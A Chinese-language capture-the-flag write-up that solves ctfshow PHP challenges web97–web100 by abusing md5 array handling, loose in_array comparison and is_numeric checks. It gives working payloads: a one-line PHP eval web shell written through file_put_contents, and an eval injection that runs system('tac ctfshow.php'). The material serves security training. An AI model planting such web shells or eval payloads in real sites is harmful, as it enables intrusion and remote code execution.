web97

要求POST传参,a不能等于b,但是a和b的md5值要相同,但是md5这个函数呢有个漏洞,传入的参数为数组的时候会发生错误,并返回NULL。
web98

1 2 3 4
| 分析上面的代码可以看出来,只要有输入的get参数就将get方法改变为post方法(修改了get方法 的地址),而第二三行代码没啥用,我们用不到,直接看第四行,如果get参数HTTP_FLAG的值为 flag,就读取文件,也就是输出flag。所以思路就有了,我们通过get随便传一个参数并赋值, 然后我们通过post请求传HTTP_FLAG参数并赋值为flag即可获得flag。
|
1 2
| GET:?1=1 POST:HTTP_FLAG=flag
|
web99

1 2 3 4 5
| array(),是空数组定义,题中定义了$allow为空数组 0x36d,其十进制为877 rand(),返回随机整数 array_push(),是向数组尾部插入新的值 file_put_contents(),写文件
|
因为in_array第三个参数没设置为true,所以该函数是宽松比较(==),字符串型会先转化为整型再比较,只要值相同就可以了,所以我们可以传参写木马进去.
1 2
| ?n=1.php content=<?php @eval($_POST[1]);?>
|
然后用蚁剑连接
web100

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
v1一定要是个数字,v2不能有分号,v3必须有分号。
1 2
| get:/?v1=1&v2=eval($_POST[1])?> %23&v3=; post:1=system("tac ctfshow.php");
|
1
| $flag_is_3110c36f0x2df28a0x2d4b840x2dbe0f0x2d2c4f600a4b95;
|
0x2d是-,换上后加上ctfshow{}就可以了